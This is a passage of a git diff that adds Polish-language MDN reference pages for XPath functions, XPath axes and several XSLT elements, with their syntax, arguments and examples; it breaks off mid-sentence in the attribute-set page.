+<dl><dt><i><code>igła</code></i> +</dt><dd>Szukany podciąg. Zostanie zwrócone wszystko po pierwszym wystąpieniu <i><code>igła</code></i> w łańcuchu <i><code>stóg siana</code></i>. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<table class="standard-table"> <tbody><tr> <th>Przykład XPath</th> <th>Wyświetli</th> </tr> <tr> <td><code>substring-after('aa-bb','-')</code></td> <td><code>bb</code></td> </tr> <tr> <td><code>substring-after('aa-bb','a')</code></td> <td><code>a-bb</code></td> </tr> <tr> <td><code>substring-after('aa-bb','b')</code></td> <td><code>b</code></td> </tr> <tr> <td><code>substring-after('aa-bb','q')</code></td> <td>(pusty łańcuch znaków)</td> </tr> +</tbody></table> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-substring-after" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/substring-after", "fr": "fr/XPath/Fonctions/substring-after", "ja": "ja/XPath/Functions/substring-after" } ) }} diff --git a/files/pl/web/xpath/funkcje/substring-before/index.html b/files/pl/web/xpath/funkcje/substring-before/index.html new file mode 100644 index 0000000000..9786005f7c --- /dev/null +++ b/files/pl/web/xpath/funkcje/substring-before/index.html @@ -0,0 +1,38 @@ +--- +title: substring-before +slug: Web/XPath/Funkcje/substring-before +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/substring-before +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>substring-before</code> zwraca łańcuch znaków będący resztą podanego łańcucha znaków przed danym podciągiem. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">substring-before( <i>stóg siana</i> , <i>igła</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>stóg siana</code></i> +</dt><dd>Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha. </dd></dl> +<dl><dt><i><code>igła</code></i> +</dt><dd>Szukany podciąg. Zostanie zwrócone wszystko przed pierwszym wystąpieniem <i><code>igła</code></i> w łańcuchu <i><code>stóg siana</code></i>. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<table class="standard-table"> <tbody><tr> <th>Przykład XPath</th> <th>Wyświetli</th> </tr> <tr> <td><code>substring-before('aa-bb','-')</code></td> <td><code>aa</code></td> </tr> <tr> <td><code>substring-before('aa-bb','a')</code></td> <td><code>(empty string)</code></td> </tr> <tr> <td><code>substring-before('aa-bb','b')</code></td> <td><code>aa-</code></td> </tr> <tr> <td><code>substring-before('aa-bb','q')</code></td> <td>(pusty łańcuch znaków)</td> </tr> +</tbody></table> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-substring-before" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/substring-before", "fr": "fr/XPath/Fonctions/substring-before", "ja": "ja/XPath/Functions/substring-before" } ) }} diff --git a/files/pl/web/xpath/funkcje/substring/index.html b/files/pl/web/xpath/funkcje/substring/index.html new file mode 100644 index 0000000000..4ed67fda88 --- /dev/null +++ b/files/pl/web/xpath/funkcje/substring/index.html @@ -0,0 +1,40 @@ +--- +title: substring +slug: Web/XPath/Funkcje/substring +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/substring +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>substring</code> zwraca część podanego łańcucha znaków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">substring( <i>łańcuch</i> , <i>start</i> [, <i>długość</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>ciąg</code></i> </dt><dd>Łańcuch znaków do oceny. </dd></dl> +<dl><dt><i><code>start</code></i> +</dt><dd>Pozycja wewnątrz <i><code>łańcuch</code></i>, gdzie rozpoczyna się podciąg +</dd></dl> +<dl><dt><i><code>długość</code></i> (opcjonalny) +</dt><dd>Długość podciągu. Jeśli pominięty, zwrócony łańcuch znaków będzie zawierał każdy znak z zakresu od pozycji startowej do końca łańcucha. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p>Podobnie jak w innych funkcjach XPath, pozycja nie jest liczona od zera. Pierwszy znak w tym ciągu ma pozycję 1, nie 0. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-substring" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "fr": "fr/XPath/Fonctions/substring", "ja": "ja/XPath/Functions/substring" } ) }} diff --git a/files/pl/web/xpath/funkcje/sum/index.html b/files/pl/web/xpath/funkcje/sum/index.html new file mode 100644 index 0000000000..e0fac8e7bc --- /dev/null +++ b/files/pl/web/xpath/funkcje/sum/index.html @@ -0,0 +1,36 @@ +--- +title: sum +slug: Web/XPath/Funkcje/sum +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/sum +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>sum</code> zwraca liczbę, która jest sumą wartości liczbowych każdego wierzchołka w podanym zbiorze wierzchołków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">sum( <i>zbiór_wierzchołków</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>zbiór_wierzchołków</code></i> +</dt><dd>Oceniany zbiór wierzchołków. Każdy wierzchołek w tym zbiorze wierzchołków jest oceniany tak jak gdyby został przekazany do funkcji <code><a href="pl/XPath/Funkcje/number">number()</a></code>, zaś wynikiem jest suma zwracanych liczb. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Liczbę. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p><i>(Brak)</i> +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-sum" class="external">XPath 1.0 4.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/sum", "fr": "fr/XPath/Fonctions/sum", "ja": "ja/XPath/Functions/sum" } ) }} diff --git a/files/pl/web/xpath/funkcje/system-property/index.html b/files/pl/web/xpath/funkcje/system-property/index.html new file mode 100644 index 0000000000..7faf04e266 --- /dev/null +++ b/files/pl/web/xpath/funkcje/system-property/index.html @@ -0,0 +1,36 @@ +--- +title: system-property +slug: Web/XPath/Funkcje/system-property +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/system-property +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>system-property</code> zwraca obiekt reprezentujący daną własność systemową. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">system-property( <i>name</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>name</code></i> (opcjonalny) +</dt><dd>Nazwa własności systemowej. Argument musi być łańcuchem znaków będącym poprawną wartością QName. QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. Funkcja własności systemowej zwraca obiekt reprezentujący wartość własności systemowej identyfikowanej za pomocą nazwy. Jeśli podana własność systemowa nie istnieje, powinien zostać zwrócony pusty łańcuch znaków. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Obiekt reprezentujący daną własność systemową. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> xsl:version, liczba podająca wersję XSLT zaimplementowaną przez procesor; dla procesorów XSLT implementujących wersję XSLT określoną przez ten dokument zwracana jest wartość 1.0 +</li><li> xsl:vendor, łańcuch znaków identyfikujący dystrybutora procesora XSLT +</li><li> xsl:vendor-url, łańcuch znaków zawierający adres URL identyfikujący dystrybutora procesora XSLT; zazwyczaj jest to strona główna (domowa) dystrybutora. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-system-property" class="external">XSLT 1.0 12.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/system-property", "fr": "fr/XPath/Fonctions/system-property" } ) }} diff --git a/files/pl/web/xpath/funkcje/translate/index.html b/files/pl/web/xpath/funkcje/translate/index.html new file mode 100644 index 0000000000..7627d29300 --- /dev/null +++ b/files/pl/web/xpath/funkcje/translate/index.html @@ -0,0 +1,86 @@ +--- +title: translate +slug: Web/XPath/Funkcje/translate +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/translate +--- +<p>{{ XsltRef() }}</p> + +<p><br> + Funkcja <code>translate</code> ocenia ciąg i zbiór znaków do przetłumaczenia i zwraca przetłumaczony łańcuch znaków.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">translate( <em><code>string</code></em>,<em> abc</em>, <em>XYZ</em> ) +</pre> + +<h3 id="Argumenty" name="Argumenty">Argumenty</h3> + +<dl> + <dt><em><code>string</code></em></dt> + <dd>Oceniany łańcuch znaków.</dd> +</dl> + +<dl> + <dt><em><code>abc</code></em></dt> + <dd>Ciąg znaków, które zostaną zastąpione.</dd> +</dl> + +<dl> + <dt><em><code>XYZ</code></em></dt> + <dd>Ciąg znaków, które użyte zostaną do zastąpienia. Pierwszy znak w <em><code>XYZ</code></em> zastąpi każde wystąpienie pierwszego znaku w <em><code>abc</code></em>, które pojawi się w<em><code> </code></em> <em><code>string</code></em> .</dd> +</dl> + +<h3 id="Zwraca" name="Zwraca">Zwraca</h3> + +<p>Przetłumaczony łańcuch znaków.</p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>W XPath funkcja <code>translate</code> nie jest wystarczającym rozwiązaniem w przypadku konwersji we wszystkich językach. Przyszłe wersje XPath mogą dostarczyć dodatkowych funkcji dla przypadku konwersji.</p> + +<p>Jednakże jest to obecnie rozwiązanie najbliższe funkcji, która potrafi skonwertować łańcuch znaków do małych lub dużych znaków.</p> + +<p>Przykład</p> + +<pre class="eval"><xsl:value-of select="translate('The quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" /> +</pre> + +<p>Otrzymamy</p> + +<pre class="eval">THE QUICK BROWN FOX. +</pre> + +<ul> + <li>Jeśli<em><code> abc</code></em> jest dłuższy niż<em><code> XYZ</code></em>, to każde wystąpienie znaków w<em><code> abc</code></em>, które nie ma odpowiadającego znaku w<code><em> </em></code><em><code>XYZ</code></em>, zostanie usunięte.</li> +</ul> + +<p>Przykład</p> + +<pre class="eval"><xsl:value-of select="translate('The quick brown fox.', 'brown', 'red'" /> +</pre> + +<p>Otrzymamy</p> + +<pre class="eval">The quick red fox. +</pre> + +<ul> + <li>Jeśli<em><code> XYZ</code></em> zawiera więcej znaków niż <em><code>abc</code></em>, dodatkowe znaki są ignorowane.</li> +</ul> + +<h3 id="Definicja" name="Definicja">Definicja</h3> + +<p><a class="external" href="http://www.w3.org/TR/xpath#function-translate">XPath 1.0 4.2</a></p> + +<h3 id="Gecko" name="Gecko">Gecko</h3> + +<p>Obsługuje.</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/XPath/Functions/translate", "fr": "fr/XPath/Fonctions/translate", "ja": "ja/XPath/Functions/translate" } ) }}</p> diff --git a/files/pl/web/xpath/funkcje/true/index.html b/files/pl/web/xpath/funkcje/true/index.html new file mode 100644 index 0000000000..03ac9c380c --- /dev/null +++ b/files/pl/web/xpath/funkcje/true/index.html @@ -0,0 +1,30 @@ +--- +title: 'true' +slug: Web/XPath/Funkcje/true +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/true +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>true</code> zwraca wartość logiczną <i>prawda</i>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">true() +</pre> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Wartość logiczną <code>true</code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-true" class="external">XPath 1.0 4.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "fr": "fr/XPath/Fonctions/true", "ja": "ja/XPath/Functions/true" } ) }} diff --git a/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html b/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html new file mode 100644 index 0000000000..57a6a1b41f --- /dev/null +++ b/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html @@ -0,0 +1,29 @@ +--- +title: unparsed-entity-url +slug: Web/XPath/Funkcje/unparsed-entity-url +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/unparsed-entity-url +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>unparsed-entity-url()</code> zwraca adres URI nieprzetworzonej encji o podanej nazwie. Są to nie XML-owe dane odwołujące się z DTD dokumentu źródłowego. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">string unparsed-entity-url(łańcuch) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<p>Nazwa nieprzetworzonej encji. Jeśli argument nie jest łańcuchem znaków, to jest on konwertowany zgodnie z zasadami funkcji string(). Nazwa powinna być nazwą XML. +</p> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>URI encji nieprzetworzonej encji pobranej z DTD, jeśli istnieje. W przeciwnym wypadku zwracany jest pusty łańcuch znaków. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-unparsed-entity-uri" class="external">XSLT 1.0 12.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Nie obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "fr": "fr/XPath/Fonctions/unparsed-entity-url" } ) }} diff --git a/files/pl/web/xpath/index.html b/files/pl/web/xpath/index.html new file mode 100644 index 0000000000..bb5353750f --- /dev/null +++ b/files/pl/web/xpath/index.html @@ -0,0 +1,14 @@ +--- +title: XPath +slug: Web/XPath +tags: + - Wszystkie_kategorie + - XPath +translation_of: Web/XPath +--- +<p>XPath to inaczej XML Path Language (Język ścieżek XML). Język ten używa składni nie-XML-owej, pozwalając w elastyczny sposób wskazywać różne części dokumentu <a href="/pl/XML" title="pl/XML">XML</a>. Ponadto może być używany do sprawdzania, czy wskazane węzły dokumentu pasują do wzorca.</p> +<p>XPath jest głównie używany w <a href="/pl/XSLT" title="pl/XSLT">XSLT</a>, ale może być także wykorzystywany do znacznie bardziej wymagających zadań nawigacji po <a href="/pl/DOM" title="pl/DOM">DOM</a> dowolnego języka bazowanego na XML-u, takiego jak HTML czy <a href="/pl/XUL" title="pl/XUL">XUL</a>, zamiast opierania się na metodzie {{ Domxref("document.getElementById") }}, własnościach {{ Domxref("element.childNodes") }}, itp. <span>The following is vague: This is especially useful within extensions, particularly regarding to <a href="/pl/XUL_Overlays">overlays</a>.</span></p> +<p>XPath używa notacji ścieżkowej (ang. <em>path notation</em>) (tak jak adresy URL) do nawigacji po hierarchicznej strukturze dokumentu XML. Używa do tego nie-XML-owej składni, dzięki czemu może być stosowany w adresach URI oraz wartościach atrybutów XML.</p> +<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=XPath&language=pl" title="Special:Tags?tag=XPath&language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/Wprowadzenie_do_korzystania_z_XPath_w_języku_JavaScript" title="pl/Wprowadzenie_do_korzystania_z_XPath_w_języku_JavaScript">Wprowadzenie do korzystania z XPath w języku JavaScript</a></dt> <dd><small>Zastosowanie języka XPath poza szablonami XSLT.</small></dd> </dl> <dl> <dt><a href="/pl/XPath/Osie" title="pl/XPath/Osie">XPath:Osie</a></dt> <dd><small>Lista definicji osi wierzchołków w specyfikacji XPath. Osie są użyte do opisu relacji między węzłami.</small></dd> </dl> <dl> <dt><a href="/pl/XPath/Funkcje" title="pl/XPath/Funkcje">XPath:Funkcje</a></dt> <dd><small>Lista i opis funkcji XPath i dodawanie określonego XSLT do XPath.</small></dd> </dl> <dl> <dt><a href="/pl/Transformacje_XML_z_XSLT" title="pl/Transformacje_XML_z_XSLT">Transformacje XML z XSLT</a></dt> <dd><small>XSLT używa XPath do adresowania segmentów kodu w przetwarzanym dokumencie XML. </small></dd> </dl> <dl> <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">Tutorial XSLT & XPath</a></dt> <dd><small>Podręcznik TopXML XSLT przedstawia podstawy koncepcji XSLT i XPath, ich składni i zastosowania.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">Czym jest XSLT?</a></dt> <dd><small>Jest to rozbudowane wprowadzenie do XSLT i XPath, które nie wymaga od czytelnika wiedzy w zakresie technologii, pozwala nauczyć się tych technologii od podstaw, opisując ich kontekst, strukturę, koncepcję i terminologię.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XPath&language=pl" title="Special:Tags?tag=XPath&language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Narz.C4.99dzia">Narzędzia</h4> <dl> <dd><a class="external" href="http://b-cage.net/code/web/xpath-evaluator.html">Online XPath evaluator</a></dd> </dl> <dl> <dd><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1095">XPath Checker</a></dd> <dd><small>An interactive editor for XPath expressions (FireFox Add-On).</small></dd> </dl> <dl> <dd><a class="external" href="http://www.sketchpath.com/">SketchPath</a></dd> <dd><small>A Graphical XPath Builder/Debugger(.NET).</small></dd> </dl> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/XSLT" title="pl/XSLT">XSLT</a>, <a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/DOM" title="pl/DOM">DOM</a></dd> </dl> <p> </p> </td> </tr> </tbody> +</table> +<p>{{ languages( { "cs": "cs/XPath", "en": "en/XPath", "es": "es/XPath", "fr": "fr/XPath", "ja": "ja/XPath", "ko": "ko/XPath", "zh-cn": "cn/XPath" } ) }}</p> diff --git a/files/pl/web/xpath/osie/index.html b/files/pl/web/xpath/osie/index.html new file mode 100644 index 0000000000..2822465e16 --- /dev/null +++ b/files/pl/web/xpath/osie/index.html @@ -0,0 +1,44 @@ +--- +title: Osie +slug: Web/XPath/Osie +tags: + - Dokumentacje + - Wszystkie_kategorie + - XPath + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Axes +--- +<p> +{{ XsltRef() }} +</p><p>Znajduje się tu trzynaście różnych osi ze specyfikacji <a href="pl/XPath">XPath</a>. Oś reprezentuje relację z wierzchołkiem kontekstu i używana jest, aby odnaleźć wierzchołki względne do danego wierzchołka w drzewie. Poniżej umieszczono niezwykle krótki opis trzynastu dostępnych osi i stopień ich obsługi dostępny w <a href="pl/Gecko">Gecko</a>. +</p><p>Aby uzyskać więcej informacji na temat zastosowania XPath, zobacz fragment <a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej">Przeczytaj więcej</a> na końcu dokumentu <a href="pl/Transformacje_XML_z_XSLT">Transformacje XML z XSLT</a>. +</p> +<dl><dt> <a href="pl/XPath/Osie/ancestor">ancestor</a> (<i>przodek</i>) +</dt><dd> Wskazuje wszystkich przodków wierzchołka kontekstu, zaczynając od wierzchołka-rodzica i podążając do wierzchołka głównego. +</dd><dt> <a href="pl/XPath/Osie/ancestor-or-self">ancestor-or-self</a> (<i>przodek lub bieżący</i>) +</dt><dd> Wskazuje wierzchołek kontekstu i wszystkich jego przodków, włączając wierzchołek główny. </dd><dt> <a href="pl/XPath/Osie/attribute">attribute</a> (<i>atrybuty</i>) +</dt><dd> Wskazuje atrybutu wierzchołka kontekstu. Tylko elementy posiadają atrybuty. Oś ta może być skrócona do znaku at (<code>@</code>). +</dd><dt> <a href="pl/XPath/Osie/child">child</a> (<i>dziecko</i>) +</dt><dd> Wskazuje dzieci wierzchołka kontekstu. Jeśli wyrażenie XPath nie określa osi, to oś child jest rozumiana domyślnie. Ponieważ tylko wierzchołek główny lub wierzchołki elementu posiadają dzieci, każde inne użycie nie zaznaczy niczego. +</dd><dt> <a href="pl/XPath/Osie/descendant">descendant</a> (<i>potomek</i>) +</dt><dd> Wskazuje wszystkie dzieci wierzchołka kontekstu, wszystkie ich dzieci i tak dalej. Wierzchołki atrybutu i przestrzeni nazw <b>nie</b> są włączone - rodzic (<code>parent</code>) wierzchołka <code>attribute</code> jest wierzchołkiem elementu, ale wierzchołki <code>attribute</code> nie są dziećmi ich rodziców. +</dd><dt> <a href="pl/XPath/Osie/descendant-or-self">descendant-or-self</a> (<i>potomek lub bieżący</i>) +</dt><dd> Wskazuje wierzchołek kontekstu i wszystkich jego potomków. Wierzchołki atrybutu i przestrzeni nazw <b>nie</b> są włączone - rodzic (<code>parent</code>) wierzchołka <code>attribute</code> jest wierzchołkiem elementu, ale wierzchołki <code>attribute</code> nie są dziećmi ich rodziców. </dd><dt> <a href="pl/XPath/Osie/following">following</a> (<i>następujący</i>) +</dt><dd> Wskazuje wszystkie wierzchołki, które pojawiają się za wierzchołkiem kontekstu, za wyjątkiem wierzchołków <code>descendant</code>, <code>attribute</code> i <code>namespace</code>. +</dd><dt> <a href="pl/XPath/Osie/following-sibling">following-sibling</a> (<i>następujący siostrzany</i>) +</dt><dd> Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym. +</dd><dt> <a href="pl/XPath/Osie/namespace">namespace</a> <i>(przestrzeń nazw, nieobsługiwana)</i> +</dt><dd> Wskazuje wszystkie wierzchołki znajdujące się w zasięgu wierzchołka kontekstu. W tym przypadku, wierzchołek kontekstu musi być wierzchołkiem elementu. </dd><dt> <a href="pl/XPath/Osie/parent">parent</a> (<i>rodzic</i>) +</dt><dd> Wskazuje pojedynczy wierzchołek będący rodzicem wierzchołka kontekstu. Może być skrócona do dwóch kropek (<code>..</code>). +</dd><dt> <a href="pl/XPath/Osie/preceding">preceding</a> (<i>poprzedzający</i>) +</dt><dd> Wskazuje wszystkie wierzchołki poprzedzające wierzchołek kontekstu w dokumencie, za wyjątkiem wierzchołków <code>ancestor</code>, <code>attribute</code> i <code>namespace</code>. +</dd><dt> <a href="pl/XPath/Osie/preceding-sibling">preceding-sibling</a> (<i>poprzedzający siostrzany</i>) +</dt><dd> Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym. </dd><dt> <a href="pl/XPath/Osie/self">self</a> (<i>bieżący</i>) +</dt><dd> Wskazuje sam wierzchołek kontekstu. Może być skrócona do pojedynczej kropki (<code>.</code>). +</dd></dl> +<p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "ja": "ja/XPath/Axes", "zh-cn": "cn/XPath/Axes" } ) }} diff --git a/files/pl/web/xslt/apply-imports/index.html b/files/pl/web/xslt/apply-imports/index.html new file mode 100644 index 0000000000..5f8b4296f7 --- /dev/null +++ b/files/pl/web/xslt/apply-imports/index.html @@ -0,0 +1,30 @@ +--- +title: apply-imports +slug: Web/XSLT/apply-imports +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/apply-imports +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:apply-imports></code> jest elementem dosyć tajemniczym, używanym zazwyczaj w złożonych arkuszach. Pierwszeństwo importu wymaga, aby zasady szablonu w arkuszach głównych posiadały większą ważność niż zasady szablonu w arkuszach importowanych. Jednak czasami użyteczna jest możliwość zmuszenia procesora do użycia zasady szablonu z arkusza importowanego (o niższej ważności) niż równoważnej jej zasady z arkusza głównego. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:apply-imports/></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 5.6. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "fr": "fr/XSLT/apply-imports" } ) }} diff --git a/files/pl/web/xslt/apply-templates/index.html b/files/pl/web/xslt/apply-templates/index.html new file mode 100644 index 0000000000..8165fda910 --- /dev/null +++ b/files/pl/web/xslt/apply-templates/index.html @@ -0,0 +1,35 @@ +--- +title: apply-templates +slug: Web/XSLT/apply-templates +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/apply-templates +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:apply-templates></code> zaznacza zbiór węzłów w drzewie wejściowym i informuje procesor, aby zastosował do nich odpowiedni szablon. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:apply-templates select=WYRAZENIE mode=NAZWA> + <xsl:with-param> [opcjonalny] + <xsl:sort> [opcjonalny] +</xsl:apply-templates></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Używa wyrażenia XPath do określenia, które węzły mają zostać przetworzone. Gwiazdka (<code>*</code>) zaznacza cały zbiór węzłów. Jeśli ten atrybut nie jest ustawiony, zaznaczone są wszystkie węzły-dzieci obecnego węzła. +</dd><dt><code>mode</code> +</dt><dd>Wprowadza rozróżnienie, jeśli istnieje wiele sposobów zdefiniowanego przetwarzania tego samego węzła. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT sekcja 5.4. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "fr": "fr/XSLT/apply-templates" } ) }} diff --git a/files/pl/web/xslt/attribute-set/index.html b/files/pl/web/xslt/attribute-set/index.html new file mode 100644 index 0000000000..c936ae76dc --- /dev/null +++ b/files/pl/web/xslt/attribute-set/index.html @@ -0,0 +1,35 @@ +--- +title: attribute-set +slug: Web/XSLT/attribute-set +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/attribute-set +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:attribute-set></code> tworzy nazwany zbiór atrybutów, który może być zastosowany jako całość do dokumentu wyjściowego w sposób podobny do stylów w CSS. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:attribute-set name=NAZWA use-attribute-sets=LISTA-NAZW> + <xsl:attribute> +</xsl:attribute-set></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Określa nazwę zbioru atrybutów. Musi być poprawną wartością QName. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>use-attribute-sets</code> +</dt><dd>Buduje zbiór atrybutów z innego zbioru atrybutów. Nazwy tych 